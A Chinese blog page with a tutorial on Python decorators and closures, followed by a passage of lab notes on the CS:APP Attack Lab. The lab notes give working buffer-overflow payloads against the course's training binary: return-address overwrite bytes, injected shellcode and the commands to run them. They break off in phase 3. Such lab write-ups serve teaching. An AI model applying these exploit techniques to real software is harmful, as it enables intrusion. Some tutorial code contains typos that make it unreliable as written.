Python 中的装饰器和闭包

发表于 2017-07-11 更新于 2021-03-03 分类于编程语言 Disqus：

函数装饰器（Function decotator）让我们可以通过在代码中“标记”函数来增强它的行为。这是一种很强大的特性，但是充分理解它需要首先理解闭包（clousure）。

Python 中的最新的被保留的关键字之一是 nonlocal，在 Python 3.0 中被引入。如果你仅仅使用以类为中心的面向对象编程方法的话，你可能从来都没有使用过这个关键字。然而，如果你想实现你自己的函数装饰器，你必须完全理解闭包，那么这时，nonlocal 关键字就是必须的。

除了在装饰器中的应用外，闭包还可以再异步编程中实现回调（callback），也可以在函数式编程中发挥作用。

为了解释装饰器究竟如何工作，我们首先需要解释：

Python 怎样处理装饰器的语法
Python 怎么确定某个变量是否为局部变量
闭包如何工作
nolocal 解决了什么问题

以这四个问题为基础，我们继续研究其他装饰器主题：

实现一个运行良好的装饰器
标准库中有趣的装饰器
实现一个参数化的装饰器

我们从一个简单的介绍开始。

装饰器 101

装饰器是一个将另外一个函数作为参数的可调用对象（callable），作为参数的函数为称为 decorated function。装饰器可能对函数做一些特殊处理，然后再返回或者用另外一个函数来替换它。

换句话说，假设有一个叫做decorate的装饰器，下面这段代码：

1
2
3

@decorate
def target():
	print("running target()")

和这样写有完全一致的结果：

def target():
	print("running target()")
	
target = decorate(target)

这两个代码片段的结尾都是一样的，target 并不一定要指向原来的 target 函数，而是指向 decorate(target) 返回的函数。我们可以确认一下：

def deco(func):
    def inner():
        print("running inner()")
    return inner
@deco
def target():
    print("running target()")
    
>>> target()
running inner()
>>> target
<function __main__.deco.<locals>.inner>

严格来说，装饰器只是一种语法糖。就像我们看到的，你可以简单地把装饰器当做一个可调用对象，传入一个函数作为参数。

总结一下：首先，装饰器可以用另外一个函数来代替被装饰的函数；其次，装饰器在模块被加载时理解执行。

Python 执行装饰器的时机

装饰器的一个关键特性是他们在被装饰函数（decorated function）被定义后立即执行。这通常发生在导入时间（import time）。考虑下面的例子：

"""registraion.py"""
registry = []

def register(func):
    print("running register(%s)" % func)
    registry.append(func)
    return func

@register
def f1():
    print("running f1()")

@register
def f2():
    print("running f2()")

def f3():
    print("running f3()")

def main():
    print("running main()")
    print("registry ->", registry)
    f1()
    f2()
    f3()

if __name__ == "__main__":
    main()

registry 保存了被 @register 装饰的函数的引用
装饰器 register 接受一个函数作为参数
f1 和 f2 被 @register 装饰，f3 没有被装饰
main 函数打印了 registry，然后调用了 f1, f2, f3
main 仅仅在运行该脚本时才会被调用

运行这个脚本的输出是：

$ python3 registration.py
running register(<function f1 at 0x10d318d08>)
running register(<function f2 at 0x10d318c80>)
running main()
registry -> [<function f1 at 0x10d318d08>, <function f2 at 0x10d318c80>]
running f1()
running f2()
running f3()

注意到 register 在模块中其他函数运行前执行了两次。当 register 被调用时，它接受了一个被装饰的函数对象作为参数，如：<function f1 at 0x10d318d08>。

模块被加载后，registry 保存了两个被装饰函数 f1，f2的引用。这些函数，还有 f3 只有在 main 函数显式调用后才执行。如果 registration.py 被导入（而不是执行脚本），那么输出为：

1
2
3

>>> import registration
running register(<function f1 at 0x10d318d08>)
running register(<function f2 at 0x10d318c80>)

这时，如果我们查看 registry，可以看到：

1 2	>>> registration.registry [<function f1 at 0x10d318d08>, <function f2 at 0x10d318c80>]

上面的例子是为了强调函数装饰器（function decorators）在模块被导入的时候马上执行，但是被装饰的函数（decorated function）仅仅在他们被显式调用后才执行。这就是 Python 老炮们常说的 导入时间（import time） 和 运行时间（runtime）。

考虑装饰器在真实代码里的普遍使用方式，上面的例子有两个问题：

装饰器（decorator）和被装饰函数（decorated function）被定义在了同一个模块中。一个真实的装饰器通常被定义在单独的模块中并修饰其他模块中的函数。
register 装饰器返回了被当做参数传入的同一个函数。在实践中，大多数装饰器都定义一个内部函数并返回它。

尽管 register 装饰器返回了没有被修改的函数，这样的方法其实是有用武之地的。许多 Python Web Framework 都使用相似的方法来将函数添加到某注册机制中，例如，一个注册机将 URL 映射到生成 HTTP 响应的函数。这样的注册过程可能不会修改被装饰函数。

使用装饰器重构策略模式

首先看一段使用函数是“first-class object”这一特点实现策略模式的代码：

from collections import namedtuple

Customer = namedtuple("Customer", "name fidelity")


class LineItem:

    def __init__(self, product, quantity, price):
        self.product = product
        self.quantity = quantity
        self.price = price

    def total(self):
        return self.price * self.quantity


class Order: 

    def __init__(self, customer, cart, promotion=None):
        self.customer = customer
        self.cart = list(cart)
        self.promotion = promotion
    
    def total(self):
        if not hasattr(self, "__total"):
            self.__total = sum(item.total() for item in self.cart)
        return self.__total

    def due(self):
        if self.promotion is None:
            discount = 0
        else:
            discount = self.promotion(self)
        return self.total() - discount

    def __repr__(self):
        fmt = "<Order total: {:2f}> due: {:.2f}"
        return fmt.format(self.total(), self.due())


def fidelity_promo(order):
    """5% discount for customers with 1000 or more fidelity points"""
    return order.total() * .05 if order.customer.fidelity >= 1000 else 0


def bulk_item_promo(order):
    """10% discount for each LineItem with 20 or more units"""
    discount = 0
    for item in order.cart:
        if item.quantity >= 20:
            discount += item.total() * .1
    return discount


def large_order_promo(order):
    """7% discount for orders with 10 or more distince items"""
    distinct_items = { item.product for item in order.cart }
    if len(distinct_items) >= 10:
        return order.total() * .07
    return 0


promos = [fidelity_promo, bulk_item_promo, large_order_promo]

def best_promo(order):
    return max(promo(order) for promo in promos)

上面这段代码的只要问题在于函数名的重复，每个计算优惠的策略都以_promo结尾。best_promo函数使用promos列表来决定最大的优惠力度。这种命名上的重复的问题在于，当新添加了计算优惠的函数时，我们很可能会忘记将它添加到promos中。这种情况下，best_promo会忽略新的优惠计算函数而产生 bug。下面的代码中，我们使用装饰器重构代码来解决这个问题：

promos = []

def promotion(promo_func):
    promos.append(promo_func)
    return promo_func

@promotion
def fidelity(order):
    """5% discount for customers with 1000 or more fidelity points"""
    return order.total() * .05 if order.customer.fidelity >= 1000 else 0

@promotion
def bulk_item(order):
    """10% discount for each LineItem with 20 or more units"""
    discount = 0
    for item in order.cart:
        if item.quantity >= 20:
            discount += item.total() * .1
    return discount

@promotion
def large_order(order):
    """7% discount for orders with 10 or more distince items"""
    distinct_items = { item.product for item in order.cart }
    if len(distinct_items) >= 10:
        return order.total() * .07
    return 0

def best_promo(order):
    """Select best discount available"""
    return max(promo(order) for promo in promos)

这个解决方案的有点在于：

计算优惠的策略函数不再需要使用特殊的名字（比如，不在需要以_promo结尾）。
装饰器@promotion强调了函数的作用，而且可以很容易地暂时取消一种优惠策略：注释掉装饰器就好。
计算优惠的策略可能被定义在其他模块，或者系统的任何地方。不管函数被定义在哪里，都知道用@promotion修饰就好了。

大多数装饰器（decorator）都会改变被装饰函数（decorated function）。它们通过定义并返回一个内部函数来替代被装饰函数。使用了内部函数的代码大多依赖于闭包（closure）来正确运行。为了理解闭包，我们得先退后一步，看看 Python 中的变量作用域。

变量作用域的规则

在下面的例子中，我们定义并测试了一个读取两个变量的函数：一个局部变量a，被定义为函数的参数；一个没有被定义在函数内的变量b。

>>> def f1(a):
    		print(a)
    		print(b)
    
>>> f1(3)
3
Traceback (most recent call last):
File "<stdin>", line 1, in <module> 
File "<stdin>", line 3, in f1 
NameError: global name 'b' is not defined

我们对于代码运行出现的错误不会感到意外。如果我们首先为全局变量b赋值，然后再调用f1，代码就可以正确工作了：

>>> b = 6
>>> f1(3)
3
6

下面，来看一个可能会让你吃惊的例子。

>>> b = 6
>>> def f2(a):
    		print(a)
    		print(b)
    		b = 9
    
>>> f2(3)
3
Traceback (most recent call last):
File "<stdin>", line 1, in <module> 
File "<stdin>", line 3, in f2 
UnboundLocalError: local variable 'b' referenced before assignment

注意到 3 被正确打印了，这说明 print(a) 被执行了。但是第二句 print(b) 没有运行。很多人有会很意外，认为 6 应该被打印，因为局部变量 b 在全局变量 b 被打印之后被赋值。

但事实上，当 Python 编译函数时，决定 b 是局部变量，因为它在函数内被赋值了。生成的二进制字节码也反映了这一点，b 会被从本地环境中获取。之后，当试图获取局部变量 b 的值得时候，会发现 b 未被绑定。

这并不是一个 bug，而是一个设计选择：Python 不要求用户声明变量，但是假设在函数内被赋值的变量是局部变量。这就比 JavaScript 强很多了，JavaScript 也不要求声明变量，但是如果你忘记了用 var 来声明局部变量，你可能会误用一个全局变量。

如果我们希望解析器将在函数内被赋值的变量 b 作为全局变量，我们使用 global 关键字来声明：

>>> def f3(a):
        global b
        print(a)
        print(b)
        b = 9

>>> f3(3)
3
6
>>> b
9

闭包（Closure）

在技术博客里面，闭包常常与匿名函数混淆。这是一个历史原因：在使用匿名函数之前，在函数中定义另外一个函数并不常见。闭包仅仅在你定义嵌套函数的时候才有意义。所以很多人同时学习这两个概念。

实际上，闭包是一个拥有拓展作用域的函数，闭包的作用域包含了在函数内被引用但是却没有被定义在函数中的非全局变量。

这个概念不太好懂，我们最好还是通过例子来理解它。

考虑一个计算一个增长序列均值的函数avg，例如股票在整个历史中的平均价格。每天都会有新的价格加入序列，函数avg会计算到目前为止的平均值。

>>> avg(10)
10
>>> avg(11)
10.5
>>> avg(12)
11.0

avg 如何保存之前的值呢？

我们首先看一个使用类来实现的版本：

class Averager():

    def __init__(self):
        self.series = []

    def __call__(self, new_value):
        self.series.append(new_value)
        total = sum(self.series)
        return total / len(self.series)

Averager 类的实例是可调用的：

>>> avg = Averager()
>>> avg(10)
10.0
>>> avg(11)
10.5
>>> avg(12)
11.0

我们再来看一个函数式的例子，它使用了高阶函数make_averager。

def make_averager():
    series = []

    def averager(new_value):
        series.append(new_value)
        total = sum(series)
        return total / len(series)

    return averager

被调用时，make_averager 返回一个 averager 函数对象。每次 averager 被调用，它将被传入的参数添加到 series 中，并且计算现在的平均值。

>>> avg = make_averager()
>>> avg(10)
10.0
>>> avg(11)
10.5
>>> avg(12)
11.0

注意这两种方案的相似之处：我们调用 Averager() 或者 make_averager() 来得到一个可调用对象 avg，它会更新历史数据并计算目前的平均值。

Averager 中的 avg 保存历史记录的方式很明显：self.series 实例属性。但是make_averager 中的 avg 是如何找到 series 的呢？

注意到 series 是 make_averager 的局部变量，因为它在 make_averager 中被初始化。但是当调用 avg(10)时，make_averager 已经返回了，它的局部作用域已经被回收。

在 averager 中，series 是自由变量（free variable），这个属于的意思是没有被绑定到该函数局部作用域中的变量。

检查被返回的 averager 对象，我们可以看到 Python 是如果将局部变量和自由变量保存在 __code__ 属性中的。__code__ 属性代表了函数内容被编译后的结果。

>>> avg.__code__.co_varnames
('new_value', 'total')
>>> avg.__code__.co_freevars
('series',)

对 series 的绑定被保存在函数的 __closure__ 属性中。avg.__clousre__中的每个元素对应 avg.__code__.co_freevars 中的一个名字。这些元素被称为 cells，它们有保存了真实值的属性 cell_contents。

>>> avg.__code__.co_freevars
('series',)
>>> avg.__closure__
(<cell at 0x110f4cc78: list object at 0x11104fb88>,)
>>> avg.__closure__[0].cell_contents
[10, 11, 12]

总结一下：闭包是持有了对自由变量绑定的函数，自由变量在函数被定义时就存在了，所有它们可以在作用域消失的时候仍然可以被使用。

注意只有当一个函数被嵌套到另外一个函数内时，它才需要处理外部作用域的非全局变量。

nonlocal 修饰符

我们之前实现的 make_averager 不太高效。我们在数组中保存了所有出现过的值，然后在每次调用 averager 时会计算所有值的和。一个更好的实现应该仅仅保存总的和，以及到目前为止元素的个数，然后利用这两个值来计算平均值。

下面的代码是错误的，我们可以看看它错在哪里：

def make_averager():
    count = 0
    total = 0
    
    def averager(new_value):
        count += 1
        total += new_value
        return total / count
        
    return averager

如果我们运行这段代码，会打印出错误信息：

>>> avg = make_averager()
>>> avg(10)
Traceback (most recent call last):
UnboundLocalError: local variable 'count' referenced before assignment

出错的原因在于，当 count 是数字或不可变类型时，count += 1 实际上相当于 count = count + 1。所以我们实际上是在 averager 的函数内部为 count 赋值，那么这一步就将 count 变为了局部变量。total 也有同样的问题。

我们在之前的例子总没有这样的问题，因为我们从来没有为 series 赋值，我们仅仅通过调用 series.append 在增加元素，并计算 sum 和 len。我们利用了列表是可变类型的特点。

但是对于像数字、字符、tuple这样的不可变类型，我们只可以读数据，但是永远都不能够更新它。如果我们试着重新绑定它们，像 count = count + 1，那么你就是在隐式地创建局部变量 count。这样的话，count 就不再是自由变量，所以它没有被保存在闭包中。

为了解决这个问题，Python 3 引入了新的关键字 nonlocal。它让我们将变量标记为自由变量，即使该变量在函数内部被赋值。如果给 nonlocal 变量赋值，那么在闭包中保存的变量绑定也会改变。所以，make_averager 的正确是实现应该是：

def make_averager():
    count = 0
    total = 0
    
    def averager(new_value):
        nonlocal count, total
        count += 1
        total += new_value
        return total / count
        
    return averager

现在，我们介绍了 Python 中的闭包，我们可以利用内嵌函数来实现装饰器了。

实现一个简单的装饰器

下面，我们实现一个为函数的每次调用计时的装饰器，使某函数在每次被调用后就打印函数调用的时间、传入的参数、调用的返回值。

import time


def clock(func):
    def clocked(*args):
        t0 = time.perf_counter()
        result = func(*args)
        elapsed = time.perf_counter() - t0
        name = func.__name__
        arg_str = ', '.join(repr(arg) for arg in args)
        print("[%0.8fs] %s(%s) -> %r" % (elapsed, name, arg_str, result))
        return result
    return clocked

我们定义了一个内嵌函数 clocked，它可以接受任意个数的参数
clocked 捕获了自由变量 fun
clock 会返回内嵌函数 clocked 来代替原来的函数

下面的代码使用了 clock 装饰器

import time
from ex15 import clock

@clock
def snooze(seconds):
    time.sleep(seconds)


@clock
def factorial(n):
    return 1 if n < 2 else n * factorial(n - 1)

if __name__ == "__main__":
    print('*' * 40, "Calling snooze(.123)")
    snooze(.123)
    print('*' * 40, "Calling factorial(6)")
    print("6! =", factorial(6))

上面代码的输出是：

**************************************** Calling snooze(.123)
[0.12784183s] snooze(0.123) -> None
**************************************** Calling factorial(6)
[0.00000130s] factorial(1) -> 1
[0.00004024s] factorial(2) -> 2
[0.00006179s] factorial(3) -> 6
[0.00007902s] factorial(4) -> 24
[0.00009839s] factorial(5) -> 120
[0.00012213s] factorial(6) -> 720
6! = 720

它是怎么工作的呢

要知道代码：

1
2
3

@clock
def factorial(n):
    return 1 if n < 2 else n * factorial(n - 1)

实际上是做的是：

def factorial(n):
    return 1 if n < 2 else n * factorial(n - 1)

factorial = clock(factorial)

在两个例子中，clock 将 factorial 作为参数，然后创建并返回 clocked 函数，最后，Python 解释器将 factorial 绑定到 clocked。实际上，如果我们检查 factorial 的 __name__ 属性，可以得到：

1 2	>>> clockdeco_demo.factorial.__name__ "clocked"

所以，factorial 实际上保存了指向 clocked 的引用。从现在开始，每次调用 factorial(n)，实际上会执行的是 clocked。而 clocked 的执行步骤为：

记录初始时间 t0
调用原来的 factorial 函数，保存结果
计算得到结果的花费时间
格式化并打印收集到的数据
返回保存的计算结果

这是装饰器的典型的行为：它用接受相同参数的新的函数来代替被装饰的函数，并且在返回被装饰函数应该返回的结果的基础上，做额外的工作。

在上面例子中的装饰器有一些缺点：它不接受关键字参数，它覆盖了被装饰函数的 __name__ 和 __doc__ 属性。下面的例子中，我们使用 functools.wraps 装饰器将 func 的属性拷贝到 clocked 属性中。而且，新版本的装饰器也可以接受关键字参数：

import time
import functools


def clock(func):
    @functools.wraps(func)
    def clocked(*args, **kwargs):
        t0 = time.time()
        result = func(*args, **kwargs)
        elapsed = time.time() - t0
        name = func.__name__
        arg_lst = []
        if args:
            arg_lst.append(', '.join(repr(arg) for arg in args))
        if kwargs:
            pairs = ["%s=%r" % (k, w) for k, w in sorted(kwargs.items())]
            arg_lst.append(', '.join(pairs))
        arg_str = ', '.join(arg_lst)
        print("[%0.8fs] %s(%s) -> %r" % (elapsed, name, arg_str, result))
        return result
    return clocked

functools.wraps 仅仅是标准库中直接可用的装饰器之一。我们来研究两个 functools 提供的两个强大的装饰器 lru_cache 和 singleddispatch。

标准库中的装饰器

标准库中最有趣的两个装饰器是 lru_cache 和 singledispatch，它们都被被定义在 functools 中。

functools.lru_cache 实现记忆化

functools.lru_cache 是一个非常实用的装饰器，它实现了计算的记忆化。记忆化是通过将之前的计算结果缓存，从而避免重复计算的优化技术。LRU 是 Least Recently Used（最近最久未使用）的缩写，意思是通过丢弃暂时没有使用的单元来限制缓存的大小。

我们可以使用 lru_cache 来优化计算 Fibonacci 的递归函数。

from clockdeco2 import clock

@clock
def fibonacci(n):
    if n < 2:
        return n
    return fibonacci(n - 2) + fibonacci(n - 1)


if __name__ == '__main__':
    print(fibonacci(6))

这是一个非常低效的版本，这一点我们可以从它的输入信息看出来：

[0.00000119s] fibonacci(0) -> 0
[0.00000119s] fibonacci(1) -> 1
[0.00006604s] fibonacci(2) -> 1
[0.00000119s] fibonacci(1) -> 1
[0.00000095s] fibonacci(0) -> 0
[0.00000095s] fibonacci(1) -> 1
[0.00002599s] fibonacci(2) -> 1
[0.00004578s] fibonacci(3) -> 2
[0.00013208s] fibonacci(4) -> 3
[0.00000000s] fibonacci(1) -> 1
[0.00000095s] fibonacci(0) -> 0
[0.00000000s] fibonacci(1) -> 1
[0.00001907s] fibonacci(2) -> 1
[0.00003767s] fibonacci(3) -> 2
[0.00000119s] fibonacci(0) -> 0
[0.00000095s] fibonacci(1) -> 1
[0.00001907s] fibonacci(2) -> 1
[0.00000119s] fibonacci(1) -> 1
[0.00000000s] fibonacci(0) -> 0
[0.00000119s] fibonacci(1) -> 1
[0.00001907s] fibonacci(2) -> 1
[0.00003791s] fibonacci(3) -> 2
[0.00007606s] fibonacci(4) -> 3
[0.00013065s] fibonacci(5) -> 5
[0.00028324s] fibonacci(6) -> 8
8

代码的低效是很明显的，fibonacci(1) 被计算了8次，fibonacci(2) 被计算了5次。但是如果我们添加了 lru_cache，性能会得到很大提升。

import functools

from clockdeco2 import clock

@functools.lru_cache()
@clock
def fibnocci(n):
    if n < 2:
        return n
    return fibnocci(n - 2) + fibnocci(n - 1)

if __name__ == "__main__":
    print(fibnocci(6))

lru_cache 必须写成函数调用的形式，注意后面的括号。这是因为它可以接受配置信息。
这是一个堆叠装饰器的例子，@lru_cacha() 修饰被 @clock 返回的函数

上面的代码将运行时间缩短了一半，消除了所有的重复计算

[0.00000119s] fibnocci(0) -> 0
[0.00000215s] fibnocci(1) -> 1
[0.00011992s] fibnocci(2) -> 1
[0.00000167s] fibnocci(3) -> 2
[0.00015306s] fibnocci(4) -> 3
[0.00000095s] fibnocci(5) -> 5
[0.00018692s] fibnocci(6) -> 8
8

在另一个测试中，计算 fibonacci(30) 没有使用 lru_cache 的版本需要调用 fibonacci 2,692,537 次，花费 17.7秒，而优化有的版本仅仅调用 31 次，仅仅花费 0.0005秒。

除了优化递归函数外，lru_cache 还可以被应用于从 Web 获取数据的应用程序。

我们可以通过传入两个可选参数来调整 lru_cache 的行为，它的完整函数名称为：

1	functools.lru_cache(maxsize=128, typed=False)

maxsize 参数确定了最多有多少和单元可以被缓存，如果缓存被填满，旧的单元将被删除。为了性能考虑，maxsize 通常应该是 2 的幂。type 如果被设置为 True，不同的参数类型的结果就会被分开存储，例如传入 float 和 int 作为参数的 1.0 和 1 的两次计算结果会被分开存储。另外，应为 lru_cache 使用了 dict 来存储数据，字典的键是根据传入的参数来确定的，所以参数都必须 hashable。

Single Disptch 实现泛型函数

假设我们要开发一个调试 Web 应用程序的工具。我们希望为不同的 Python 对象生成不同的 HTML 文本。

我们可以从一个函数开始：

import html

def htmlize(obj):
    content = html.escape(repr(obj))
    return "<pre>{}</pre>".format(content)

这段代码可以作用与任何 Python 类型，但是我们想拓展它来为一些类型生成不同的文本：

str：将内嵌的换行符用 “<br>\n” 替换，使用 <p> 而不是 <pre>
int：用十进制和十六进制来显示数字
list：输出一个 HTML 列表，根据不同元素类型来格式化每一行

我们希望的行为如下：

>>> htmlize({1, 2, 3})
'<pre>{1, 2, 3}</pre>'
>>> htmlize(abs)
'<pre><built-in function abs></pre>'
>>> htmlize("Heimlich & Co.\n- a game")
'<p>Heimlich & Co.<br>\n- a game</p>'
>>> htmlize(42)
'<pre>42 (0x2a)</pre>'
>>> print(htmlize(["alpha", 66, {3, 2, 1}]))
<ul> 
    <li><p>alpha</p></li> 
    <li><pre>66 (0x42)</pre></li> 
    <li><pre>{1, 2, 3}</pre></li> 
</ul>

因为 Python 中没有函数重载，我们不懂通过控制函数的类型来重载 htmlize。Python 中一种普遍的方式是将 htmlize 变为一个分发函数，也就是使用 if/elif/else 将操作分发到 htmlize_str, htmlize_int 等。这种方式是补课拓展的，随着不同类型操作的增加，我们代码中的 if/elif 也会越来越长，代码间的耦合度过于紧密了。

新的 functools.singledispatch 装饰器在 Python 3.4 中引入，它允许我们增加新的特化函数。如果我们用 @singledispatch 装饰一个函数，这个函数就变成了一个 generic function 泛型函数：用不同方法来解决相同问题的一组函数，它们根据参数的类型选择应该执行的操作。

from functools import singledispatch
from collections import abs
import numbers
import html


@singledispatch
def htmllize(obj):
    content = html.escape(repr(obj))
    return "<pre>{}</pre>".format(content)

@htmllize.register(str)
def _(text):
    content = html.escape(text).replace('\n', '<br>\n')
    return '<p>{0}</p>'.format(content)

@htmllize.resigter(numbers.Integral)
def _(n):
    return '<pre>{0} (0x{0:x})</pre>'.format(n)

@htmllize.register(tuple)
@htmllize.register(abs.MutableSequence)
def _(seq):
    inner = '</li>\n<li>'.join(htmlize(item) for item in seq)
    return '<ul>\n<li>' + inner + '</li>\n</ul>'

@singledispatch 标记了处理 object 的基函数
每一种特化函数都用 @<base_function>.register(<type>) 来装饰，它们的函数名无关紧要，_是一个好的选择
我们也可以叠加多个装饰器来用一个函数来处理几种参数

如果可能的话，尽量使用抽象类型，如 numbers.Intergral 和 abs.MutableSequence，而不是具体类型如 int 或 list 来注册特化函数，这样，我们的函数可以支持更多的兼容类型。

我们可以使用 singledispatch 在系统的任意位置注册特化函数。如果我们在一个新的模块添加了新的自定义类型，我们可以直接在新的模块中添加处理该类型的代码。我们我也可为不是自己所写，也无权修改的函数添加自定义的实现。

singledispatch 的完整特性可以查看 PEP 443 - Single-dispatch generic functions

因为装饰器本质上是函数，所谓我们可以组合它们。

Stacked Decorators

当两个装饰器 @d2 和 @d1 依次作用于函数 f 后，结果其实就是 f = d1(d2(f2))。

@d1
@d2
def f():
    print('f')

相当于

def f():
    print('f')

f = d1(d2(f))

装饰器的参数化

当在源代码中解析装饰器时，Python 将被装饰的函数作为第一个参数传入装饰器。所以我们要如何让装饰器接受其他的参数呢？答案是首先创建一个接受额外参数的装饰器工厂，然后再用它生成装饰器。很乱吧？我们通过一个例子来理解：

registry = []

def register(func):
    print("running register(%s)" % func)
    registry.append(func)
    return func

@register
def f1():
    print("funning f1()")
    
print("running main()")
print("registry -> ", registry)
f1()

为了让启用和禁用函数注册更加容易，我们让装饰器接受一个额外的参数 active，如果为 False，则跳过被注册函数。下面的代码实现了这个功能。从概念上讲，新的 register 函数不是一个装饰器，而是一个装饰器工厂函数，它根据参数，返回相应的装饰器。

registry = set()

def register(active=True):
    def decorate(func):
        print("running register(active=%s)->decorate(%s)" % (active, func))

        if active:
            registry.add(func)
        else:
            registry.discard(func)
        
        return func
    return decorate

@register(active=False)
def f1():
    print("running f1()")

@register()
def f2():
    print("running f2()")

这里的重点在于 register() 返回装饰器 decorate，被返回的装饰器再作用于函数。

我们在中断导入这个模块可以看到：

>>> import registration_param
running register(active=False)->decorate(<function f1 at 0x1027fe0d0>)
running register(active=True)->decorate(<function f2 at 0x1027fe268>)
>>> registration_param.registry
{<function registration_param.f2>}

现在，仅仅 f2 被注册了；f1 没有被注册，因为 active=False 被传入了装饰器工厂。如果不使用 @ 语法糖，我们按照普通的函数调用来使用 register，那么装饰 f 的方式应该是 register()(f)，或者 register(active=False)(f)。

我们现在讨论的参数化的装饰器还是要比大多数简单的。如果我们要让装饰器接受额外的参数，并且要用新的函数还替换被装饰函数，那么我们的装饰器工厂就又会多一层嵌套。

现在，我们回顾下 clock 装饰器，希望让它可以接受新的参数来控制输出格式。

import time

DEFAULT_FMT = '[{elapsed:0.8f}s] {name}({args}) -> {result}'

def clock(fmt = DEFAULT_FMT):
    def decorate(func):
        def clocked(*_args):
            t0 = time.time()
            _result = func(*_args)
            elapsed = time.time() - t0
            name = func.__name__
            args = ', '.join(repr(arg) for arg in _args)
            result = repr(_result)
            print(fmt.format(**locals()))
            return _result
        return clocked
    return decorate

if __name__ == "__main__":

    @clock()
    def snooze(seconds):
        time.sleep(seconds)

    for i in range(3):
        snooze(.123)

运行代码，我们可以得到：

1
2
3

[0.12418222s] snooze(0.123) -> None
[0.12602901s] snooze(0.123) -> None
[0.12367606s] snooze(0.123) -> None

我们传入参数：

import time
from clockdeco_param import clock

@clock("{name}({args}) dt={elapsed:0.3f}s")
def snooze(seconds):
    time.sleep(seconds)

for i in range(3):
    snooze(.123)

运行可以得到：

1
2
3

snooze(0.123) dt=0.128s
snooze(0.123) dt=0.124s
snooze(0.123) dt=0.125s

总结

我们从没有内嵌函数的 @register 装饰器开始，到带参数的有两层嵌套函数的 @clock()，讨论了装饰器的使用方式和工作原理，也讨论了标准库中的实用的装饰器 wraps，lru_cache，singledispatch。

为了理解装饰器的工作方式，理解 import time 和 run time 的区别，我们研究了变量作用域，闭包以及 global 和 nonlocal 关键字。

【深入理解计算机系统实验笔记】| Attack Lab

发表于 2017-07-09 更新于 2021-03-03 分类于计算机科学 Disqus：

Attack Lab 的主要目的是利用程序中的缓冲区溢出漏洞来实现对系统的攻击。那么如何利用缓冲区漏洞呢？

第一阶段

第一个关卡不要求向程序中注入代码，而是需要输入一个「引爆字符串」来改变程序的运行轨迹，重定向运行另外一个函数。在 ctarget 中，getbuf 被函数 test 调用：

void test() {
  int val;
  val = getbuf();
  printf("No exploit.  Getbuf returned 0x%x\n", val);
}

我们希望 getbuf() 在返回后，调用函数 touch1 而不是输出 val 的值。

void touch1() {
  vlevel = 1;
  printf("Touch1!: You called touch1()\n");
  validate(1);
  exit(0);
}

我们具体要做的事情就是把 touch1 的开始地址放到 getbuf 的 ret 指令中，而且需要注意应该使用小端字节序。

首先，我们反汇编 ctarget：objdump -d ctarget > touch1.s

在 touch1.s 中找到 getbuf：

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

我们可以看到，getbuf 将 %rsp 移动了 0x28 也就是 40 字节。这也就意味着，在往上 4 个字节，就是返回到 test 的返回地址。所以，我们就可以利用缓冲区溢出将返回地址修改掉。

现在我们看看 touch1 在哪里：

00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	callq  401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>

可以看到 touch1 的开始地址在 0x004017c0，所以我们输入的字符串可以是

00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00
c0 17 40 00

然后，我们将这个字符文件转换为字节码 ./hex2raw < touch1.txt > touch1_r.txt，然后执行 ./ctarget -q -i touch1_r.txt:

通过第一关，我们就学习了通过使用缓冲区溢出来调用另外的函数。

第二阶段

第二阶段要求向程序中注入一小段代码，ctarget 中的 touch2 的 C 语言代码为：

void touch2(unsigned val) {
  vlevel = 2;    /* Part of validation protocol */
  if (val == cookie) {
    printf("Touch2!: You called touch2(0x%.8x)\n", val);
    validate(2);
  } else {
    printf("Misfire: You called touch2(0x%.8x)\n", val);
    fail(2);
  }
  exit(0);
}

我们需要把自己的 cookie 作为参数传入，因为只有一个参数，所以参数应该被放入寄存器 %rdi，并使用ret 跳转。

我们写好需要注入的汇编代码，首先将 cookie 的值保存到寄存器 %rdi，然后将 touch2 的地址压入栈中，最后返回：

1
2
3

mov $0x59b997fa,%rdi
pushq $0x4017ec
ret

接下来，我们将汇编代码转换为机器码：

1 2	gcc -c touch2.s objdump -d touch2.o > touch2.bytes

touch2.bytes 中的内容为：

touch2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq

为了执行这段代码，我们需要使用阶段 1 中的方法，跳转到缓冲区的开始位置，去执行我们注入的代码。为了知道缓冲区的起始位置，我们使用 GDB 来调试程序，查看 %rsp 的值。我们在 0x4017b4 处设置断点：

然后查看寄存器信息：

可以看到缓冲区的起始位置为 0x5561dc78。

接下来我们就构造需要的字符串：

48 c7 c7 fa 
97 b9 59 68 
ec 17 40 00 
c3 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
78 dc 61 55

然后，我们使用 ./hex2raw < touch2.txt > touch2_r.txt 生成字节码，然后执行命令 ./ctarget -i touch2_r.txt -q，就可以看到执行结果：

第三阶段

第三阶段同样要实现代码注入攻击，但是要传入一个额外的字符串。

在 ctarget 中 hexmatch 和 touch3 的 C 语言代码如下：

/* compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
  char cbuf[110];
  /* make position of check string unpredictable */
  char *s = cbuf + random() % 100;
  sprintf(s, "%.8x", val);
  return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval) {
  vlevel = 3;
